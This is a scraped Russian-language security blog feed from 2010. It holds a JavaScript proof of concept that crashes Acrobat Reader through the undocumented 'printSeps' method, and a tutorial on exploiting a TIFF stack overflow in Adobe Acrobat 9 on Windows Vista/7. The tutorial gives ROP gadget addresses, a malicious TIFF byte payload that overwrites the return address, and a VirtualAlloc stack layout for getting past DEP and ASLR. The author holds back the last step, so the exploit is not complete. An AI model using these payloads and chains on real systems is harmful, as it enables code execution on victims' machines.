<br /> password[shifter] = password[shifter] | ored_low;
<br /> ((shifter+1)==0x10)
<br /> ? (password[0] = password[0] | ored_high )
<br /> : (password[shifter+1] = password[shifter+1] | ored_high );
<br /> printf( "----------------- T= 0x%02x RES_t= 0x%02x -----------------\n"
<br /> " password[0x%01X;0x%01X]\n"
<br /> " unkn={0x%02x}\n"
<br /> " ored={0x%04X} %s\n\n",
<br /> t,res_t,
<br /> shifter, shifter+1,
<br /> unkn,
<br /> ored,
<br /> ((unkn) ? " " : "100% MATCHED")
<br /> );
<br /> }
<br />
<br /> printf("-------------PASSWORD------------\n");
<br /> for (int m=0;m<PASSWORD_LEN;m++)
<br /> {
<br /> printf("pass[0x%02x] = 0x%02X\n", m,password[m]);
<br /> }
<br />
<br /> return 0;
<br />}
<br /></CODE>
<br />
<br />amisto0x07http://www.blogger.com/profile/06285845331018888566noreply@blogger.com3tag:blogger.com,1999:blog-8363079297439687817.post-18432663771692383182010-04-09T12:17:00.000-07:002010-11-05T09:04:57.004-07:00Adobe Acrobat: Уязвимость при выполнении метода в JavaScriptОтносительно недавно автором поста была обнаружена уязвимость в программных продуктах от Adobe. Для тех, кто не в курсе, напомнню. Уязвимость связана со всеми продуктами, поддерживающими обработку скриптов на языке JavaScript. К настоящему моменту уязвимость подтверждена для программ Acrobat Reader версий 8.0.1, 8.0.2, 8.0.3, 8.0.4, 9.1.0.<br />Уязвимость связана с использованием недокументированного метода "printSeps". Указанный метод поставляется библиотекой Escript.api. При обработке данного метода Escript.api вызвает метод из AcroRd32.dll с невалидными параметрами.<br /><br />Для "провокации" программы достаточно открыть pdf-документ одной из вышеуказанных программ, содержащий в себе скрипт со следущим содержанием с последующей его интерпретацией программой:<br /><br />//<br />// this script generates DoS in Acrobat Reader 8.0.1/2/3/4,9.1.0<br />console.show();<br />console.clear();<br />console.println("start processing...");<br />this.printSeps(); // вылим обработчик<br />console.println("end."); // данная строка кода никогда не выполнится<br />//<br />// end of script<br /><br />Загрузив программу в отладчик (например, OllyDbg или DynamicTestAnalyzer) и открыв такой документ, можно увидеть следущее:<br /><br />//exception: ACCESS_VIOLATION in AcroRd32.dll<br />0x******** | mov ecx, dword ptr ds:[eax+8] | EAX == 0xFEEEEEEE<br /><br />discovered by amisto0x07amisto0x07http://www.blogger.com/profile/06285845331018888566noreply@blogger.com1tag:blogger.com,1999:blog-8363079297439687817.post-78240113854416367752010-03-28T09:24:00.000-07:002010-03-28T09:26:07.531-07:00раскрутка уязвимостей переполнения буфера на Windows NT6Собственно, в посте рассмотривается один из подходов к эксплуатации уязвимостей на NT6 (Windows Vista/Seven и подобных клонах). Он не единственный и не претендует на уникальность, тем не менее у многих вызывает некоторые сложности в освоении, посему попытаемся устранить этот пробел. Для эксперимента будет использован эксплойт villy (все подробности на http://bugix-security.blogspot.com/20...tcve.html) и программа Adobe Acrobat 9.0.0 Pro Extended. <br />Практика показывает, что большинство авторов затачивают свои творения под Windows XP и под другие подобные поделки Microsoft-а пятого билда. Если взять любой сплойт под софт на Windows XP, то вряд ли вы увидите, как он добросовестно отработает на Vista/Seven, - результатом его работы скорее всего будет окно с недвухсмысленным содержанием "Прекращена работа приложения" - причина APPCRASH. <br /><br />Применительно к сплойту villy - на его блоге написано следующее(цитирую): <br />"Exploit in this file successfully executed in Adobe Reader 9.2, 9.3 on Windows XP (SP2, SP3) but didn't work on Windows Vista and Windows 7." <br />Да, это так: сплойт не работает под Vista/Seven, но это не означает, что нельзя эту уязвимость заэксплуатировать на NT6. <br />И так, слабонервных просим удалиться. Приступим. <br />В общем уязвимость позволяет переписать область стека, в котором располагаются в частности адреса возвратов. Взглянем на стек после перезаписи: <br />_______________________ <br />0x0026e070| 080c0c00 ; адрес 0x0026e070 используется в качестве назначения для функции memcpy <br />0x0026e074| 00010124 <br />0x0026e078| 070072f7 ; первый адрес возврата <br />0x0036e07c| ........ <br /><br />На первый взгляд кажется, что на Vista или Seven привязаться не к чему: база стека при каждой загрузке программы меняется, базовые адреса модулей, используемых программой, также меняются, а базы системных модулей ntdll.dll и kernelbase.dll меняются с каждой перезагрузкой системы. К нашему счастью (для чистоты эксперимента) в адресном пространстве Adobe Acrobat 9.0.0 Pro Extended такой модуль есть, и имя ему acaptuser32.dll. О его назначении остается только догадываться, но об этом пусть думают другие. Кстати говоря, в Acrobat Reader 9.x.x также есть модуль, который располагается в АП процесса по фиксированному адресу, что повышает ваши шансы заюзать клиентскую машину и Adobe Acrobat 9 Pro и Acrobat Reader 9. Методика заключается в использовании инструкций вышеуказанного модуля (а в общем тех, что лежат по фиксированному вирт. адресу). <br />И так, есть модуль acaptuser32.dll, расположенный по фиксированному адресу 0x10000000 в АП процесса. Всё, что нужно - подобрать адреса нужных нам наборов инструкций. Для наиболее быстрого решения задачи эксплуатации будем искать адреса блоков инструкций, имеющих следующий вид: <br />инструкция_1 <br />инструкция_2 <br />инструкция_N <br />retn i <br />Также вы вольны выбрать и другие инструкции. Наиболее пригодным средством (по мнению автора) для этого будет OllyDbg, поскольку она умеет искать конкретную инструкцию или набор инструкций. Вот, что получилось (для пояснения: в коментариях указаны операции, выполняемые процессором согласно их порядку следования): <br />#---------------------------- <br /># (eax=0) && (retn) <br />100059B8 XOR EAX,EAX <br />100059BA RETN <br /><br />#---------------------------- <br /># (eax=0) && (eax++) && retn <br />1000185E XOR EAX,EAX <br />10001860 INC EAX <br />10001861 RETN <br /><br />#---------------------------- <br /># (*eax=0) && (al=1) && (retn) <br />10001CB4 MOV BYTE PTR DS:[EAX],0 <br />10001CB7 MOV AL,1 <br />10001CB9 RETN <br /><br />#---------------------------- <br /># (eax = eax OR ebx ) && (pop ebx) && retn <br />100026E6 OR EAX,EBX <br />100026E8 POP EBX <br />100026E9 RETN <br /><br />#---------------------------- <br /># (al=1) && (retn <br />10002929 MOV AL,1 <br />1000292B RETN 8 <br /><br />#---------------------------- <br /># (retn 0x0C) <br />10002A2F RETN 0C <br /><br />#---------------------------- <br /># (edi++) && (*esi += edi) && (pop edi) && (pop ebx) && (pop esi) && (retn) <br />100031DA INC EDI <br />100031DB ADD DWORD PTR DS:[ESI],EDI <br />100031DD POP EDI <br />100031DE POP EBX <br />100031DF POP ESI <br />100031E0 RETN <br /><br />#---------------------------- <br /># (eax = *(esp+4)) && (retn) <br />100045B5 MOV EAX,DWORD PTR SS:[ESP+4] <br />100045B9 RETN <br /><br />#---------------------------- <br /># (pop ecx) && (pop ecx) && (retn) <br />10004875 POP ECX <br />10004876 POP ECX <br />10004877 RETN <br /><br />#---------------------------- <br /># (i=eax; eax=esp; esp=i) && (eax = *(eax)) && (*(esp)=eax) && (retn) <br />10004C8B XCHG EAX,ESP <br />10004C8C MOV EAX,DWORD PTR DS:[EAX] <br />10004C8E MOV DWORD PTR SS:[ESP],EAX <br />10004C91 RETN <br /><br />#---------------------------- <br /># (eax=0) && (pop esi) && (retn) <br />10005165 XOR EAX,EAX <br />10005167 POP ESI <br />10005168 RETN <br /><br />#---------------------------- <br /># (pop ebx) && (retn) <br />100052AB POP EBX <br />100052AC RETN <br /><br />#---------------------------- <br /># (eax = *(eax)) && (pop esi) && (retn) отличный вариант для разимнования <br />10005355 MOV EAX,DWORD PTR DS:[EAX] <br />10005357 POP ESI <br />10005358 RETN <br /><br />#---------------------------- <br /># неплохой способ для передачи управления по *(esp) <br /># c сохранением eax в стек <br /># (eax <=> *(esp)) && (goto eax) <br />100055CC XCHG DWORD PTR SS:[ESP],EAX <br />100055CF JMP EAX <br /><br />#---------------------------- <br /># отлично подойдет для вызова функции с количеством аргументов <br /># от 0 до 3 (идеальный вариант для вызова memcpy) <br />100057E9 PUSH EDI <br />100057EA PUSH ESI <br />100057EB PUSH EBX <br />100057EC CALL EAX <br /><br />#---------------------------- <br /># (eax=esi) && (pop esi) && (retn) <br />100062C6 MOV EAX,ESI <br />100062C8 POP ESI <br />100062C9 RETN <br /><br />#---------------------------- <br /># (eax=edi) && (pop esi) && (retn) <br />10006301 MOV EAX,EDI <br />10006303 POP ESI <br />10006304 RETN <br /><br />#---------------------------- <br /># (eax = *(esp+) && (pop esi) && (retn) <br />10006452 MOV EAX,DWORD PTR SS:[ESP+8] <br />10006456 POP ESI <br />10006457 RETN <br /><br />#---------------------------- <br /># (eax+=0x08) && (retn) <br />10006DDA ADD EAX,8 <br />10006DDD RETN <br /><br />#---------------------------- <br /># (eax+=0x0C) && (retn) <br />10006E00 ADD EAX,0C <br />10006E03 RETN <br /><br />#---------------------------- <br /># (*(esi) OR eax) && (retn) <br />100071AD OR DWORD PTR DS:[ESI],EAX <br />100071AF RETN <br /><br />#---------------------------- <br /># ((*(esi))++) && retn <br />100071B0 INC DWORD PTR DS:[ESI] <br />100071B2 RETN <br /><br />#---------------------------- <br /># (jmp ecx) <br />10008D5B PUSH ECX <br />10008D5C RETN <br /><br />Выше приведен далеко не полный перечень наборов инструкций, которые могуть быть использованы. Также в модуле реализованы функции копирования (типа memcpy), поиск которых я оставляю вам. <br /><br />Каким образом построить эксплойт? Здесь каждый выбирает сам. Стоит учесть, что на на Windows NT6 узким местом является DEP + ASLR. Первый ограничивает выполнение кода в страницах памяти, которые помечены как "неисполняемые" (при условии, что DEP thunk emulation не разрешен для процесса). Второй органичивает передачу управления по заранее известному адресу. Оптимальным вариантом будет алгоритм шеллкода: <br />1 - выделение процессу страниц памяти с атрибутами READ | WRITE | EXECUTE <br />2 - копирование шеллкода (или его "загрузочной" части) в выделенную память <br />3 - передача управления на шеллкод (в общем, на то, что скопировали в п.2) <br /><br />Можно задействовать и схему с установкой атрибута READ | WRITE | EXECUTE с помощью VirtualProtect для страницы, в которой лежит Ваш шеллкод с последующей передачей в него управления. Суть не меняется. <br />К счастью в acaptuser32.dll импортирует функции VirtualAlloc/VirtualAllocEx, что не может не радовать. Если в вашем случае нет функций выделения страниц памяти, можно поискать другие функции типа VirtualProtect,WriteProcessMemory,FlushInstructionCache. Помните, что вы вольны использовать вызов системного сервиса ZwProtectVirtualMemory/ZwAllocateVirtualMemory и других в обход обертки kernelbase.dll, но при этом придется определить номер сервиса в SSDT на эксплуатируемой windows-машине (см. ntdll.dll для различных сборок Windows). Рассуждения по поводу определения номера сервиса опускаем, поскольку это не является предметом рассмотрения в посте. <br /><br />Применительно к сплойту для tiff oпустим основную часть генератора pdf-документа, и возьмем суть, а именно содержимое tiff-потока. В оригинале оный выглядит так(нагрузка по запуску calc.exe вырезана): <br />tiff = <br />"\x49\x49\x2a\x00" + [TIFF_OFFSET].pack("I") + <br />("\x90" * SHELL_OFFSET ) + self.shellcode + <br />("\x90" * (TIFF_OFFSET - 8 - self.shellcode.size() - SHELL_OFFSET)) + <br />"\x07\x00\x00\x01\x03\x00\x01\x00" + <br />"\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"+ <br />"\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"+ <br />"\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"+ <br />"\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"+ <br />"\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"+ <br />"\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00"+ <br />"\xF7\x72\x00\x07"+ # адрес возврата на стеке <br />"\x04\x01"+ <br />"\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"+ <br />"\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"+ <br />"\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"+ <br />"\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"+ <br />"\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"+ <br />"\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"+ <br />"\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+ <br />"\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"+ <br />"\x00\x07" <br /><br />В процессе тестирования сплойта мы определяем, что акробатом вызывается функция mempcy(pvAddressOnStack, pvSource, 0x130), включительно с данных \x00\x0C\x0C\x08\x24\x01\x01\x00 (см. выше tiff). После копирования стек выглядит следующим образом: <br />pvAddressOnStack+0x00: 0x080C0C00 <br />pvAddressOnStack+0x04: 0x00010124 <br />pvAddressOnStack+0x08: ... ; здесь был адрес возврата, который был перезаписан <br />pvAddressOnStack+0x0С: ... <br /><br />Определенно, адрес нашей первой инструкции шеллкода должен быть записан в ячейку стека pvAddressOnStack+0x08. Мы для простоты заюзаем импортируемую VirtualAlloc, адрес на которую хранится в ячейке 0x10010110 импорта acaptuser32.dll. Тогда первой операцией шелкода должна быть (условно) операция разыменования ячейки 0x10010110 с целью получения адреса VirtualAlloc в контексте процесса с дальнейшим её вызовом. Для этого можно использовать связки инструкций изи acaptuser32.dll: <br />блок 1 с адресом 0x1000928A: код (pop eax) && (pop esi) && (retn) <br />блок 2 с адресом 0x10005355: код (eax = [eax]) && (pop esi) && (retn) <br />блок 3 с адресом 0x100055CF: код (jmp eax) <br /><br />Теперь представим содержимое стека для наглядности: <br />pvAddressOnStack+0x08: 0x1000928A | адрес блока 1 <br />pvAddressOnStack+0x0c: 0x10010110 | значение для eax <br />pvAddressOnStack+0x10: 0x0badf00d | значение для esi <br />pvAddressOnStack+0x14: 0x10005355 | адрес блока 2 <br />pvAddressOnStack+0x18: 0x0badf00d | значение для esi <br />pvAddressOnStack+0x18: 0x100055CF | адрес блока 3 <br /><br />Поясняю вышепредставленный бред. К моменту выхода из уязвимой функции адрес возврата (он в pvAddressOnStack+0x08 ) будет указывать на наш код, который занесет адрес ячейки импорта, по которой лежит адрес VirtualAlloc. При выходе из первого блока управление уйдет на инструкцию разименования адреса импорта (eax = [eax]), после выполения которой в eax будет размещен адрес VirtualAlloc. При выходе из второго блока управление уйдет в блок 3, который передает управление в VirtualAlloc. И так, мы передали управление в Kernel32.dll::VirtualAlloc. В наших интересах она должна выделить процессу память, поэтому нужно позаботиться о параметрах для неё. Вспомним анатомию вызова WINAPI на уровне ассемблера: <br />push arg_N <br />push ... <br />push arg_1 <br />push arg_0 <br />call WINAPI SomeRoutine <br />WINAPI придерживается конвенции __stdcall, поэтому при выходе в вызывающую программу восстанавливает стек, зарезервированный вызывающим кодом для аргументов (вобщем вызвыает retn size_on_stack_with_args). В нашем случае, стек должен выглядеть следующим образом (продолжение): <br />pvAddressOnStack+0x1C: 0xXXXXXXXX | адрес блока 4 (закрыто от лентяев ) <br />pvAddressOnStack+0x20: 0x00000000 | arg_0: lpAddress =NULL <br />pvAddressOnStack+0x24: 0x00001000 | arg_1: dwSize = 0x1000 <br />pvAddressOnStack+0x28: 0x00003000 | arg_2: flAllocType= MEM_COMMIT | MEM_RESERVE <br />pvAddressOnStack+0x2C: 0x00000040 | arg_3: flProtect = READ | WRITE | EXECUTE <br /><br />После выполения VirtualAlloc адрес выделенной памяти будет в eax, а управление перейдет по адресу, размещенному в стеке по адресу pvAddressOnStack+0x1C. <br /><br />И так, мы имеем страницу памяти с атрибутами RWE. Думаю, принцип понятен. Далее используя блоки инструкций переносим шел в нашу страницу и передаем на неё управление. Собственно, реализацию этого я оставляю Вам, поскольку у автора нет желания выдавать рабочий сплойт в студию. Да и Вам будет полезно самим отточить навыки и раскрутить представленную методу. <br /><br />Замечу, что можно вышеописанный подход с VirtualAlloc является не единственным. К примеру, вы можете заюзать VirtualProtect (о чем упоминалось выше) с параметром lpAddress, указывающим на стек. Но при использовании методики с VirtualProtect будьте внимательны: эта функция дает положительный результат и для не выровненного адреса, в следствии чего атрибуты защиты будут изменены и для страницы, в которую указывает адрес ((ULONG)lpAddress + dwSize).amisto0x07http://www.blogger.com/profile/06285845331018888566noreply@blogger.com0